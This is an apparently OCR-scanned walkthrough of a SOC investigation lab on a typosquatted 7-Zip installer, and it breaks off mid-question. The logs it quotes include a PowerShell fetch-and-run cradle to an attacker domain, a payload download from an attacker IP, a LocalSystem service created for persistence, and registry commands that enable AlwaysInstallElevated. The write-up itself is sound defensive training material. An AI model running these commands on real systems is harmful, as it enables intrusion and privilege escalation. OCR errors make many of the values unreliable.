Typo Squatters II

Scenario

Just working on a typical day as a software engineer, Perry received an encrypted 7z archive from
his boss containing a snippet of a source code that must be completed within the day. Realising that
his current workstation does not have an application that can unpack the file, he spins up his
browser and starts to search for software that can aid in accessing the file. Without validating the
resource, Perry immediately clicks the first search engine result and installs the application.

Last September 26, 2023, one of the security analysts observed something unusual on the
workstation owned by Perry based on the generated endpoint and network logs. Given this, your
SOC lead has assigned you to conduct an in-depth investigation on this workstation and assess the
impact of the potential compromise.

Questions:
What is the URL of the malicious software that was downloaded by the
victim user?

- Let’s check all the available users in the log first:
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— Let’s create a list of users by clicking the “Visualize” button:

winlogbeat-* v
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— We know that the victim user was “perry.parsons”. We also know that the downloading a file
shows a file creation event in Windows logging. Filter/Query: “related.user : perry.parsons”

[~ |related.user : perry.parson:
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chrome. exe

7,008



— Since the file was downloaded, let’s check all browser related activities by this user with
“process.name : chrome.exe” : (Keywords: outbound,egress, destination IP, DNS query, )

Query:

related.user : perry.parsons
winlog.event_id : 1 (Process Creation)

[B) v Search koL [ v Sep 25,2023 @ 00:00:00.0 > Sep 27,2023 @ 23:30:00.0 C© Refresh

related.user: perry.parsons X | winlog.eventid:1 X |+ Add filter

winlogbeat-* @ < B hits  Chart options

' QU Search field names :
Filter by type 0 v

© woy.even_uata ey

1) winiog,cvent.data.TargetProcessid Sep 25, 2023 @ 00:00:00.000 - Sep 27, 2023 @ 23:30:00.000

+ winlog.event_data.TerminalSessionid

Time agent hostname event.action modul hosthost d_line
¢ winlog.event_data Transactionld
> Sep 26, 2023 @ 14:15:16.263 WKSTN-03 Process Create (rule: ProcessCrea  sysmon WKSTN-63 C:\Program Files\Google\Chrome\Applicationichrome . exe”
¢ winlog.event_data User te)
¢ winlog.keywords
> Sep 26, 2023 @ 14:15:20.612 WKSTN-03 @ O Process Create (rule: ProcessCrea  sysmon WKSTN-63 :\Program Files\Google\Chrome\Applicationichrome exe”
t winlog.logon.id te)
¢ winlog.opcode
> Sep 26, 2023 © 14:16:51.933 WKSTN-03 Process Create (rule: ProcessCrea  sysmon WKSTN-63 :\Program Files\Google\Chrome\Applicationichrome .exe"
# winlog.process thread.id e)
Eisanogprovder oL > Sep 26, 2023 © 14:23:00.817 WKSTN-03 Process Create (rule: ProcessCrea  sysmon WKSTN-83 C:\Windows\System32\msiexec.exe” /1 "C:\Users\perry.parsons\Downloads\7z23681-x
t winlag. provider_name te) 64.msi’
# winlog.record_id > Sep 26, 2623 © 14:26:03.486 WKSTN-03 Process Create (rule: ProcessCrea  sysmon WKSTN-03 taskhostw.exe
te)

t winlogtask
& winlog.userdomain

t winlog.user.identifier

+ winlog.username

Installation method used to download the malicious 7zip software version:
"C:\Windows\System32\msiexec.exe" /i "C:\Users\perry.parsons\Downloads\7z2301-x64.msi"

Filter:

— agent.hostname

— event.action

- event.module

— host.hostname

— process.command_line

Removing the previous query and adding “http” on the search query:
(e |

B v koL B v Sep 25,2023 @ 00:00:00.0 - Sep 27,2023 @ 23:30:00.0 G Refresh

winlogbeat-* ~ == <= 11,374 hits & Ghart options

+ Add filter

a QU Search field names

Filter by type 0 ~

\ Selected fields 5

Sep 25, 2023 @ 00:00:00.000 - Sep 27, 2023

+ agenthostname
) evontaction Time - agenthostname | event.action eventmodule host.hostname process.command._line
+ eventmodule > Sep 26, 2023 © 14:22:87.433 WKSTN-83 File stream created (rule: FileCrea | sysmon WKSTN-83 -
teStreantiash)
¢ hosthostname
- EEmemmrErD > Sep 26, 2623 © 14:23:2.403 WKSTN-03 Network connection detected (rule: | sysmon WKSTN-83 -
NetworkConnect)
' Avallable ields 138
> Sep 26, 2623 © 14:23:02.912 WKSTN-03 Process Create (rule: ProcessCreat | sysmon WKSTN-03 €:\Windows\Installer\NSIS42E . tnp"
poputar o
+ process.args
> Sep 26, 2023 © 14:23:62.935 WKSTN-03 Process Create (rule: ProcessCreat | sysmon WKSTN-02 powershell.exe iex(inr hEtp://um.7zipp.org/a/7z.ps1 -useb)
+ winlog.event id o)
0 GBI > Sep 26, 2623 © 14:23:63.401 WKSTN-03 Provider Lifecycle powershell WKSTN-83 powershell.exe iex(iwr http://wiw.7zipp.org/a/7z.ps1 -useb)
D) Jd > Sep 26, 2023 © 14:23:3.482 WKSTN-83 Provider Lifecycle porershell WKSTN-03 powershell.exe iex(iwr HEtp://wm.7zipp.org/a/7z.ps1 -useb)
+ Index
> Sep 26, 2023 © 14:23:03.402 WKSTN-03 Provider Lifecycle poershell WKSTN-B3 powershell.exe iex(inr http://win.7zipp.org/a/7z.ps1 -useb)
# score
D type > Sep 26, 2023 © 14:23:3.483 WKSTN-83 Provider Lifecycle pomershell WKSTN-83 powershell.exe iex(iwr REtp://wm.7zipp.org/a/7z.ps1 -useb)

- With this, we can see how the malicious payload unfolded and compromised the system.



More information about the malicious payload user perry downloaded from:

[E v~ http koL [ v Sep 25,2023 @00:00:00.0 - Sep 27,2023 @ 23:30:00.0

©  +Add filter

winlogbeat-* s €= 11,374 hits % Chart options

I Q search field names
Filter by type 0 v

V' Selected fields 5

t agenthostname

t eventaction
t message -

t eventmodule File stream created:

+ host.hostame RuleName: -
UteTine: 2023-89-26 14:22:07.433
t process.command_iine

ProcessId: 2836
v Available fields 139 Image: C:\Program Files\Google\Chrome\Application\chrome.exe
TargetFilenane: C:\Users\perry.parsons\Downloads\7z2301-x64 msi:Zone. Identifier
Popular CreationUtcTime: 2823-89-26 14:22:02.685
t process.args Hash: MDS=32458A16BEFDST! 180233, AFDBF3831AD 17, MPHASH=0

t winlog.event_id Contents: [ZoneTransfer] ZoneId=3 [Hos(ﬂrl:hltp‘vaw‘7Z)pp.nrg/a/7123m'xﬂ.msl

# winlog.process.pid User: SSF\perry.parsons

m i ¢ process.entity_id {f27ff46b-e00f-6512-8785-000608064802 }

t _index ¢ process. executable C:\Program Files\Google\Chrone\Application\chrone. exe
# _score ¢ process.name chrome.exe

t _type

— Answer:
http[://lwww/[.]7zipp[.]org/a/722201-x64.msi

Path to where it landed on the system: C:\Program Files\7-zip\7zipp.exe

t message ~

CommandInyocation(Invoke-WehR i1 ~Invoke_WehReguest”
ParameterBinding(Invoke-WebRequest): name="OutFile"; value="C:\Program Files\7-zip\7zipp.exe"
ParameterBinding(Invoke-WebRequest): name="Uri"; value="http://206.189.34.218/a/7zipp.exe"

Context:
Severity = Informational
Host Name = ConsoleHost
Host Version = 5.1.17763.3778
Host ID = 4bbde53a-bcb3-4eeB-9246-eeat9bB8bsded
[Host Application = powershell.exe iex{iwr http://www.7zipp.org/a/7z.ps! —useb)]
Engine Version = 5.1.17763.377@
Runspace ID = 9a39b727-1582-42e4-be26-9febc29b915f
Pipeline ID = 1
Command Name = Invoke-WebRequest
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 22

What is the IP address of the domain hosting the malware? (1* stage)
koL fH ¥ Sep 25,2023 @ 00:00:00.0 - Sep 27,2023 @ 23:30:00.0
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) everrtaction t cloud.image. id ani-0a3a2a49bf7baaces
t eventmoduie ¢ cloud. instance. id 1-099057d78d5debedd
i host.hastname t cloud.machine. type 13.medium
t process.command_line ¢ cloud.provider ans

. Available fields 135 t cloud. region eu-west-1
Popular + cloud. service.name £c2

t process.args
destination. domain -

t winiog.event_id

# winlog.process.pid [ t destination. ip 206.189.34.218
¢ # destination.port o
t _index ¢ ecs.version 1120

# _score R - R



Found it by looking at the network connection made just after seeing the downloaded file log:

7+ hitp
+ Add filter
winlogbeat-* e = 11,374 hits

QU search field names

Filter by type 0 v

# Selected fields 5

+ agent hostname

Sep 25,2023 @

- Sep 27,2023 @ 23:30:00.000

KoL [E v Sep25, 2023 @ 00:00:00.0 » Sep 27,2023 @ 23:30:00.0 C Refresh

& Chart options

d_line

) event action Time 1 agent.hostname eventaction t.modul host.host
t eventmodule 5 Sep 26, 2023 0 14:22:67.433  UKSTN-03 File stream created (rule: FileCrea sysmon WKSTH-03
teStreamHash)
¢ hosthostname
i procsss commandine 5 [sep 26, 203 ¢ 14:23:02.403 wkeTN-02 Network connection detected (rule:  sysmon WKSTH-03
NetworkConnect)
~ Available fields 139
5 Sep 26, 2023 © 14:23:62.912 WKSTN-03 Process Create (rule: ProcessCreat  sysmon WKSTN-3
>opular e)
t processargs
> Sep 26, 2023 @ 14:23:02.935 VWKSTN-€3 Process Create (rule: ProcessCreat  sysmon WKSTN-83
t winlog.event id e)
il ppcsss o > Sep 26, 2023 © 14:23:83.481 VWKSTN-83 Provider Lifecycle powershell WKSTN-83
) Ja > Sep 26, 2023 0 14:23:63.482 WKSTN-03 Provider Lifecycle powershell WKSTN-83

- Answer:
206[.]189][.]134[.]218

C:\Windows\Installer \NSI542E. tmp”

powershell.exe lex(iwr http://wm.7zipp.org/a/7z.ps1 -useb)

powershell.exe lex(iwr http://wm.7zipp.org/a/7z.ps1 -useb)

powershell.exe lex(iwr http://wm.7zipp.org/a/7z.ps1 -useb)

What is the PID of the process that executed the malicious software?

Filter:
— related.user : perry.parsons
— winlog.event_id : 1

Finding the log that shows the execution of the downloaded malicious 7z file:

B~ Search
related.user: perry,parsons X | winlog.event id: 1% | + Add filter
winlogbeat-* s = 5 hits
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Sep 25, 2023 @ 00:00:00.000 - Sep 27, 2023
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C Refresh
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) event.action Time - agent hostname event.action tmodu host host d_tine
© eventmodule > Sep 26, 2023 € 14:15:16.263 WKSTH-63 Process Greate (rule: Processtrea  sysmon 1KSTN-63 *G:\Progran Files\Google\Chrome\Applicat ion\chrome. exe
te)
¢ hosthostname
i) processcommand. ine ) Sep 26, 2023 € 14:15:20.812 WKSTH-63 Process Greate (rule: Processtrea  sysmon 1KSTN-63 *G:\Progran Files\Google\Chrome\Applicat ion\chrome. exe
te)
~ Available fields 196
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¢ winlog.event data ProcessiD te) 64.msi"
¢ winlog.eventid
O TS P Expanded document View surrounding documents  View single document
Table  JSON
d -
Actions Field Value
© index
) _score ©1d TuXFBYoBV20TI6v_Phsh

Message section inside the log shows
- Process ID,

the:

- Image of the binary used from the installation (needed for determining TTPs),

- The command line executed, and the
- Privilege at the time of execution



Process Create:

RuleName: -

UtcTime: 2823-689-26 14:23:00.817
ocessGuid: Jffaeb-e944-651

ProcessId: 2532

Image: C:\Windows\System32\msiexec.exe

FileVersion: 5.8.17763.3658 (WinBuild.168181.8888)

Description: Windows® installer

Product: Windows Installer - Unicode

Company: Microsoft Corporation

OriginalFileName: msiexec.exe
{CommandLine: C:\Windows\System32\msiexec.exe" /i "C:\Users\perry.parsons\Downloads\?zZEET—x64.msi“i

CurrentDirectory: C:\Users\perry.parsons\Downloads\

User: SSF\perry.parsons

LogonGuid: {f27ff4eb-ceb9-6511-Td48-2560000000008 }

LogonId: @x2548FD

TerminalSessionId: 4

|IntegrityLevel: Medium]

Hashes: MD5=42EF74736B3AD2F2A77FEDBT68BCADBFS, SHA256=7563B6B5324BE39C91DERBAEACCAAE1D1183473CEABSBA9FASE1 BCDEDT47606E, IMPHASH
=F222A63F4B272AD34146BE317FAAZSTC

ParentProcessGuid: {f27ff48b-e7d3-6512-7285-008ABARB48A2 }

ParentProcessId: 7888

85-8A0AAARR48E2 }

— Answer: 2532

Following the execution chain of the malicious payload, another remote
file was downloaded and executed. What is the full command line value of
this suspicious activity?

KaL  fH >~ Sep 25,2023 @ 00:00:00.0 > Sep 27, 2023 @ 23:30:00.0

@ [

@ +Addfiter
winlogbeat-*

' Q Search field names

Filter by type 0

v Selected fields 202309260000 2023-09-2 02 200 20308267800 202 202309271200 2023-09-27 800
Sep 25, 2023 @ 00:00:00.000 - Sep 27, 2023 @ 23:30:00.000
t agent.hostname
7] event.action Time - agenthostname event.action event.module host hostname process.command_line
€ eventmodule 5 Sep 26, 2023 @ 14:22:07.433 WKSTN-83 File strean created (rule: FileCrea sysmon WKSTN-03 -
teStreanHash)
t host.hostname
) process.command_jine 5 Sep 26, 2023 © 14:23:02.483 WKSTN-63 Network connection detected (rule:  sysmon WKSTN-63 -
NetworkConnect)

~ Available fields 196 .

> Sep 26, 2023 © 14:23:02.912 WKSTN-€3 Process Create (rule: ProcessCreat  sysmon WKSTN-03 C:\Windows\Installer\NSTS42E . tmp
Popular e)
¢ process.args

> Sep 26, 2023 © 14:23:02.935 WKSTN-83 Process Create (rule: ProcessCreat| sysmon WKSTN-03 powershell.exe iex(iwr http://www.7zipp.org/as7z.psl -useb)
t winlog.event_data.ProcessiD e)
0 Cgerenild > Sep 26, 2023 © 14:23:03.481 WKSTN-83 Provider Lifecycle powershell WKSTN-83 powershell.exe iex(iuwr http://www.7zipp.org/as7z.psl -useb)
# winlog.process.pid

> Sep 26, 2023 @ 14:23:03.482 WKSTN-83 Provider Lifecycle powershell WKSTN-03 powershell.exe iex(iwr http://www.7zipp.org/af7z.psl -useb)
t d

> Sep 26, 2023 @ 14:23:03.482 WKSTN-83 Provider Lifecycle powershell WKSTN-03 powershell.exe iex(iwr http://www.7zipp.org/as7z.psl -useb)
t _index
=D > Sep 26, 2023 @ 14:23:03.483 WKSTN-83 Provider Lifecycle powershell WKSTN-03 powershell.exe iex(iwr http://www.7zipp.org/af7z.psl -useb)

Message section of the process creation log for this powershell command:

Process Create:
RuleName: -
UtcTime: 2023-09-26 14:23:02.935

ProcessGuid: {f27ff48b-e946-6512-8f05-000060004802}

ProcessId: 4248

Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.@\powershell.exe
FileVersion: 18.8.17763.1 (WinBuild.16@101.8808)

Description: Windows PowerShell

Product: Microsofte Windows® Operating System

Company: Microsoft Corporation

Origin ilel Hl . L

CommandLine: powershell.exe iex{iwr http://www.7zipp.org/a/7z.ps1 —useb)
CurrentDirectory: C:\Windows\system32\

User: NT AUTHORITY\SYSTEM

LogonGuid: {f27ff48b-bbe7-6511-2763-8606000000008}

LogonId: Bx3E7

ermina onld: 4
Hashes: MD5=83767E18DB29B51A8G4A9E312DAEDISC, SHA256=1EE3D7C80DA75D64F97D04DB36E558043F2F6BCI59C87CD5BAA6D53BI6BIGAAF , IMPHASH
=D1A922C94A1F487CB2BBCADA33CBEDTA

ParentProcessGuid: {f27ff48b-e946-6512-8d85-008000004802 }

ParentProcessId: 10012




- Interesting! Notice the difference in privilege/IntegrityLevel now. Its at the ‘System’ privilege and
not ‘medium’. How is that the case? Did something happen in between while this malicious .msi
file was being installed? Let’s see!

=W A LLALGIGA TN/ wDEDDWALYIILOCW S M

ParentProcessGuid: {f27ff48b-e046-6512-8d85-000PEEERA862 }
ParentProcessId: 18812

ParentImage: C:\Windows\Installer\MSI542E.tmp
ParentCommandLine: "C:\Windows\Installer\MSIS42E.tmp"
ParentUser: NT AUTHORITY\SYSTEM

Source:(https://attack.mitre.org/techniques/T1218/007/)

Checking the msiexec from MITRE ATT&CK, we can see that the Msiexec.exe used for
installing .msi files is mostly used by attackers for defense evasion. However, on the chance that
some policy like “AlwaysInstallElevated” has its bit set, the process spawned to execute msiexec
will have ‘System’ level privilege. The screenshot above is the proof of that. Also note that
msiexec.exe is a native windows binary which any user on the system will automatically execute
when downloading something with the presumption that they are allowed by the System Admin to
install on the machine(check out the LOLBAS project on github).

Also, let’s check what is AlwaysInstallElevated policy is: (Source :
https://bherunda.medium.com/windows-privesc-detecting-alwaysinstallelevated-policy-abuse-
3ffa7a734bd)

Definition of the AlwaysInstallElevated policy:

- This is how this policy can be enabled (and DISABLED by removal or setting the bit to 0). This
policy elevates the installing process to the “SYSTEM?” level since it’s easier to install programs
with complete control of the system but comes with great risk as seen in this example.

C:\Users\ankit\Desktop>reg ADD HKLM\Software\Policies\Microsoft\Windows\
Installer /v AlwaysInstallElevated /d 1 /t REG_DWORD

The operation completed successfully.

C:\Users\ankit\Desktop>reg ADD HKCU\Software\Policies\Microsoft\Windows
\Installer /v AlwaysInstallElevated /d 1 /t REG_DWORD

The operation completed successfully.

— Answer: powershell.exe iex(iwr http://www.7zipp.org/a/7z.ps1 -useb)

Hardening:

- Disable powershell usage at all? (even at the system level unless specifically modified?)
- Set the AlwaysInstallElevated policy to false? (Would there be a way to poll if its being enabled
and respond appropriately?)



The newly downloaded script also installed the legitimate version of the
application. What is the full file path of the legitimate installer?

ULLTLINE . ZOL3-UY—ZU 1&%.£3.07. 100

ProcessGuid: {f27ff48b-e94b-6512-9105-000000604862}

ocessTd: 992
Image: C:\Windows\Temp\?zlegit.exe]

FileVersion: 23.81

Description: 7-Zip Installer

Product: 7-Zip

Company: Igor Pavlov

OriginalFileMame: 7zipInstall.exe

bommandLine: “C:\Windows\Temp\7zlegit.exe" fS]
CurrentDirectory: C:\Windows\system32\

User: NT AUTHORITY\SYSTEM

LogonGuid: {f27ff48b-bbe7-6511-2703-000006000008
LogonId: 8x3E7

ﬁntegrityLevel: Systeﬂ

Hashes: MD5-E6/88E813546156281BFAA4B38BDDA%AT, SHA256=26CB6E0F56333682122F AFE79DBCDFDS1E9FA7CC7217DCCD29ACEFCI3B5598CD, IMPHASH
=CFaD2DE4FD64663026812E6F40068395F

ARA2 )

ParentProcessId: 4248
ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.8\powershell.exe
ParentCommandLine: powershell.exe iex(iwr http://www.7zipp.org/a/7z.ps1 -useb)

We can see that this .exe file was dropped/downloaded from the script 7z.ps1.
— Answer: C:\Windows\Temp\7zlegit.exe

What is the name of the service that was installed?

Found the process used to create and start the service:
[f)~ http KoL [ v Sep 25,2023 @ 00:00:00.0 + Sep 27, 2023 @ 23:30:00.0

+ Add filter

winlogbeat-* we €= 11,374 hits @ Chart options

l QU Search field names

Filter by type 0 &

v Selected fields 5 1200 09-26 18:00

Sep 25, 2023 @ 00:00:00.000 - Sep 27, 2023 @ 23:30:00.000
¢ agenthostname

¢ event action # winlog.version 1
© eventmodule

t hosthostname > Sep 26, 2023 @ 14:23:23.114 WKSTN-83 Process Create (rule: ProcessCreat sysmon WKSTN-83 C:\Windows\system32\sc.exe" create 7zService binpath= "C:\Program Files\7-zi,
e) p\7zipp.exe’ start=auto obj=LocalSystem

¢ process.command_line

> Sep 26, 2023 © 14:23:46.112  WKSTN-63 Network connection detected (rule:  sysnon WKSTN-63 -
v Available fields 196 NetworkConnect)
Popular > Sep 26, 2023 @ 14:23:47.267 WKSTN-83 Process Create (rule: ProcessCreat  sysmon WKSTN-03 :\indows\systen32\sc.exe” start TzService
t processargs o)
© winlog.event_data. ProcessiD
> Sep 26, 2023 © 14:23:48.672 WKSTN-63 Pipeline Execution Details poershell WKSTH-63 povershell.exe 1ex(1ur htp://wiw.7z1pp.org/a/72.ps1 -useb)
¢ winlog event id
#) winloggrocess.pid > Sep 26, 2023 © 14:23:48.074 WKSTN-63 Executing Pipeline powershell WKSTN-03 povershell.exe dex{iur http://mmw.7zipp.org/a/7z.ps1 -useb)
- > Sep 26, 2023 © 14:23:48.675 WKSTN-63 Process Create (rule: ProcessCreat  sysmon WKSTN-63 G:\Windows\systen32\rund1132 .exe” "C:\Program Files\7-zip\7zipp.d11",Start
d e)
& _index
> Sep 26, 2023 © 14:23:48.084 WKSTN-63 Pipeline Execution Details porershell WKSTN-63 povershell.exe 1ex(1ur http://winw.7z1pp.org/a/7z.ps1 -useb)
# score
Documents surrounding #TOXf0YoBV20oTI6v_kExI
~ Load 5 [ newer documents
Time agenthostname  eventaction d_line
> Sep 26, 2023 © 14:23:40.305 WKSTN-63 privileged-service-called security WKSTH-63 -
> Sep 26, 2023 € 14:23:23.125 WKSTN-63 service-installed security WKSTH-63 -
> Sep 26, 2023 © 14:23:23.124 WKSTN-63 None - WKSTH-63 -
> Sep 26, 2023 © 14:23:23.124 WKSTN-63 Registry value set (rule: RegistryEvent)  sysmon WKSTH-63 -
> Sep 26, 2023 © 14:23:23.124 WKSTN-63 Registry value set (rule: RegistryEvent)  sysmon WKSTN-63 -
> Sep 26, 2023 © 14:23:23.114 WKSTN-63 Process Create (rule: ProcessCreate) sysmon WKSTH-83 "C:\Windows\systen32\sc.exe” create 7zService binpath= “C:\Progran Files\7-zip\7zipp.exe" start=auto obj=LocalSystem
> Sep 26, 2023 © 14:23:23.112 WKSTN-63 Executing Pipeline powershell WKSTH-83 powershell.exe 1ex(1wr http://wiw.7zipp.org/a/7z.ps1 -useb)
> Sep 26, 2023 @ 14:23:23.111 WKSTN-63 Pipeline Execution Details powershell WKSTH-63 povershell .exe 1ex (1w http://wiw.7zipp.org/a/7z.psl -useb)
) Sep 26, 2023 € 14:23:22.551 WKSTN-63 File created (rule: FileCreate) sysmon WKSTH-63 -
> Sep 26, 2023 © 14:23:22.192 WKSTN-63 Filtering Platform Connection - WKSTH-63 -
> Sep 26, 2023 & 14:23:22.192 WKSTN-63 Filtering Platform Connection - WKSTH-03 -

Question: How was the ‘sc.exe’ got involved in here exactly? Let’s see....



It seems that this service was executed from the powershell script ‘7z.ps1’:

— Answer: 7zService

Process Create:

RuleName: -

UtcTime: 2823-89-26 14:23:23.114
ProcessGuid: {f27ff48b-e95b-6512-9205-000000004802}
ProcessId: 9892

Inage: C:\Windows\SysHON64\sc.exe

process.args

process . conmand_line

C:\Windows\system32\sc.exe, create, 7zService, binpath=, G:\Program Files\7-zip\7zipp.exe, start=auto, obj=LocalSystem

"C:\Windows\systemd2\sc.exe” create 7zService binpath= "C:\Program Files\7-zip\7zipp.exe” start=auto obj=LocalSystem

process.entity_id

{f27ff48b-e95b-6512-92085-0000000084802 }

process .executable

C:\Windows\SysWOWE4\sc . exe,

process.hash.mds
process. hash. sha256

process.name

293a38365bee678292e093d10bF4be8S

684492b839875118798079cec26d674c125885755b2beab1be4s4ebdb723bb63

sc.exe

process.parent.args

process.parent.command_line

ponershell.exe, iex(imr, http://www.7zipp.org/a/7z.ps1, -useb)

ponershell.exe iex(iwr http://waw.7zipp.org/a/7z.psl -useb)

process.parent.entity_id

process.parent.executable

{f27ffa8b-e946-6512-8105-000RR0AA4802 }

C:\Windows\SysWOWG4\WindowsPowerShell\v1.8\powershell . exe

-

process.parent.name

process.parent.pid

ponershell.exe

4,248

process.pe. company
process.pe.description

process.pe. file_version

Microsoft Corporation
Service Control Manager Configuration Tool

16.8.17763.1 (WinBuild.168101.08080)

The attacker was able to establish a C2 connection AFTER starting the
implanted service. What is the username of the account that executed the
service?

Notice that after the 7zlegit.exe was downloaded using the 7z.ps1 script, there was another

network connection detected:

M sdys

T

L

Network connection detected:

RuleName: -

UtcTime: 2823-89-26 14:23:21.822

ProcessGuid: {f27ff4eb-e046-6512-8f05-A000RREE4802}

Brococceld. A240

Image: C:\Windows\SysWOW&4\WindowsPowerShelliw1.8\powershell.exe
User: NT AUTHORITY\SYSTEM

Protocol: tcp
Initiated: true
SourceIsIpv6: false
SourceIp: 172.16.1.152
SourceHostname: WKSTN-83.swiftspendfinancial.thm
SourcePort: 51494
SourcePortName: -
DestinationIsIpv6: false
DestinationIp: 286.189.34.218
DestinationHostname: -
DestinationPort: 86
DestinationPortMame: http

- Notice that the User is NT AUTHORITY\SYSTEM

- It is reaching to the remote server via HTTP. (This one is for downloading the 1* stage malware)
- How do I know if this is actually a C2 connection? — It’s NOT!

> Sep 26, 2023 @ 14:23:46.112 WKSTN-03
NetworkConnect)

Network connection detected (rule: sysmon WKSTN-83

C:\Windows\system32\sc.exe" start 7zService

> Sep 26, 2023 @ 14:23:47.267 WKSTN-03 Process Create (rule: ProcessCreat sysmon WKSTN-83
e)

> Sep 26, 2023 @ 14:23:48.872 WKSTN-83 Pipeline Execution Details powershell WKSTN-83

> Sep 26, 2023 © 14:23:48.874 WKSTN-03 Executing Pipeline powershell WKSTN-83

> Sep 26, 2023 @ 14:23:48.875 WKSTN-03 Process Create (rule: ProcessCreat sysmon WKSTN-83

powershell.exe iex(iur http://wn. 7zipp.org/a/7z.ps1 -useb)

powershell.exe iex(iwr http://www.7zipp.org/a/7z.ps1 -useb)

C:\Windows\system32\rundl132.exe"

C:\Program Files\7-zip\7zipp.dll

", Start



Is this network connection THE C2 connection?

Checking on the network connection and its surrounding logs/events:

t winlog.computer_name WKSTN-83.swiftspendfinancial.thm

t winlog.event_data.SourcePortName -

t winlog.event_id 3
t winlog.opcode Info
[ # winlog.process.pid 2,?48]
# winlog.process.thread.id 3,568
t winlog.provider_guid {5778385f-c22a-43e@-bf4c-B6F5698Ffhda}
t winlog.provider_name Microsoft-Windows-Sysmon
# winlog.record_id 768,682
t winlog.task MNetwork connection detected (rule: NetworkConnect)
t winlog.user.domain NT AUTHORITY

Notice that there are TWO network connections prior to service creation. Let’s gather some detail
about the second network connection: (not sure if either of them is C2 but one was used to
download the 7zlegit.exe and the actual malware with a destination IP address of
206[.]189[.]134[.]218)

Documents surrounding #guXfOYoBV2oTI6v__EyM

~ Load 5 [ newer documents

Time agent.hostname event.action event.module host hostname process.command_line
| > Sep 26, 2023 @ 14:23:47.301 WKSTN-03 Filtering Platform Connection - WKSTN-83
> Sep 26, 2823 @ 14:23:47.381 WKSTN-83 Filtering Platform Connection - WKSTN-83
> Sep 26, 2023 @ 14:23:47.280 WKSTN-83 Process Create (rule: ProcessCreate) sysmon WKSTN-83 "C:\Program Files\7-zip\7zipp.exe"
A, Sep 26, 2023 @ 14:23:47.267 WKSTN-03 Process Create (rule: ProcessCreate) sysmon WKSTN-83 “C:\Windows\system32\sc.exe" start 7zService
> Sep 26, 2023 @ 14:23:47.188 WKSTN-03 Network connection detected (rule: NetworkConnect) sysmon WKSTN-83
> Sep 26, 2023 @ 14:23:46.112 WKSTN-83 Network connection detected (rule: NetworkConnect) sysmon WKSTN-63
> Sep 26, 2023 @ 14:23:41.184 WKSTN-03 privileged-service-called security WKSTN-83
> Sep 26, 2823 @ 14:23:41.861 WKSTN-83 privileged-service-called security WKSTN-83
> Sep 26, 2023 © 14:23:40.918 WKSTN-83 privileged-service-called security WKSTN-83
> Sep 26, 2023 © 14:23:40.385 WKSTN-03 privileged-service-called security WKSTN-83
> Sep 26, 2023 @ 14:23:23.125 WKSTN-83 service-installed security WKSTN-83

Notice that this second connection came from rundll32.exe rather than the malicious powershell
script.



t message S
Network connection detected:

RuleMame: -
UtcTime: 28623-89-26 14:23:47.768

ProcessId: 4188
Image: C:\Windows\system32\rundll32.exe

User: NT AUTHORITY\SYSTEM

Protocol: tcp

Initiated: true

SourcelsIpvs: false

Sourcelp: 172.16.1.152

SourceHostname: WKSTN-83.swiftspendfinancial.thm
SourcePort: 51497
SourcePortName: -
DestipationlsToput - false
DestinationIp: 164.248.149.186
DestinationHostname: -
DestinationPort: 443
DestinationPortName: https

- This one was used to download another malicious script for creds-theft.
Important information extracted:
- Process Name: rundll32.exe
- User : NT AUTHORITY\SYSTEM
- Destination IP : 104[.]248[.]1149[.]186
- Destination Port : 443 (https)
- Process ID: 4188

I think this is the most likely C2 connection of the two. (But this occurs BEFORE the execution of
the ‘7zipp.exe’ the service runs?)

This IP address was found to be lius Threatnl sources.
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More logs related to the ‘rundll32.exe’ process spawned:

> Sep 26, 2023 @ 14:23:48.872 WKSTN-03 Pipeline Execution Details powershell WKSTN-83 powershell.exe iex(iwr http://www.7zipp.org/a/7z.ps1 -useb)
> Sep 26, 2823 @ 14:23:48.874 WKSTN-03 Executing Pipeline powershell WKSTN-83 powershell.exe iex(iwr http://www.7zipp.org/a/7z.ps1 -useb)
> Sep 26, 20923 @ 14:23:48.875 WKSTN-03 Process Create (rule: ProcessCreat sysmon WKSTN-83 "C:\Windows\system32irundll32.exe" "C:\Program Files\7-zip\7zipp.dll" start
e)
> Sep 26, 2023 @ 14:23:48.884 WKSTN-83 Pipeline Execution Details powershell WKSTN-83 powershell.exe iex(iwr http://www.7zipp.org/a/7z.ps1 -useb)
> Sep 26, 2923 @ 14:23:48.884 WKSTN-03 Pipeline Execution Details powershell WKSTN-83 powershell.exe iex(iwr http://www.7zipp.org/a/7z.ps1 -useb)
> Sep 26, 20923 @ 14:23:48.885 WKSTN-03 Executing Pipeline powershell WKSTN-83 powershell.exe iex(iwr http://www.7zipp.org/a/7z.ps1 -useb)
5 Sep 26, 2623 @ 14:23:48.885 WKSTN-03 Executing Pipeline powershell WKSTN-83 powershell.exe iex(iwr http://www.7zipp.org/a/7z.ps1 -useb)
> Sep 26, 2023 @ 14:23:48.287 WKSTN-83 Engine Lifecycle powershell WKSTN-83 powershell.exe iex(iwr http://www.7zipp.org/a/7z.ps1 -useb)
> Sep 26, 2823 @ 14:25:18.124 WKSTN-83 Network connection detected (rule: sysmon WKSTN-83 -
NetworkConnect)

- This is definitely spawned by the malicious powershell script 7z.ps1

Found the Parent Process ID of the HTTPS connection: 3988

ParentProcessGuid: {f27ff48b-e946-6512-8TB5-ARBAAAAB4RE2 }

ParentProcessId: 4248

ParentImage: C:\Windows\SysWOWe4\WindowsPowerShell\w1.8\powershell.exe
ParentCommandLine: powershell.exe iex(iwr hittp://www.7zipp.org/a/7z.ps1 -useb)
ParentUser: NT AUTHORITY\SYSTEM

t message o

Process Create:

RuleName: -

UtcTime: 2823-89-26 14:23:48.875

ProcessGuid: {f27ff48b-e974-6512-9505-000000684502 }
ProcessId: 3988

Image: C:\Windows\SysWOW64\rund1132.exe
FileVersion: 10.8.17763.1697 (WinBuild.160101.0808)
Description: Windows host process (Rundl132)
Product: Microsofte Windowse Operating System
Company: Microsoft Corporation

: LL32 EXE
CommandLine: "C:\Windows\system32\rundl132.exe"” "C:\Program Files\?lep\hlpp,dll”‘Start]
CurrentDirectory: c:\Windows\systeﬁZ\
LogonGuid: {f27ff48b-bbe7-6511-e763-000600606060 }

LogonId: Bx3E7

IntegritylLevel: System

Hashes: MD5=8459D693C951248A5E8E128F299E9618, SHA256=82611E6BA2C5DE23A1B976BB3BIA32C4427CB6AABB2EAC2TCADFAB4831D87999, TMPHASH

— Answer: SYSTEM
After dumping LSASS data, the attacker attempted to parse the data to
harvest the credentials. What is the name of the tool used by the attacker in
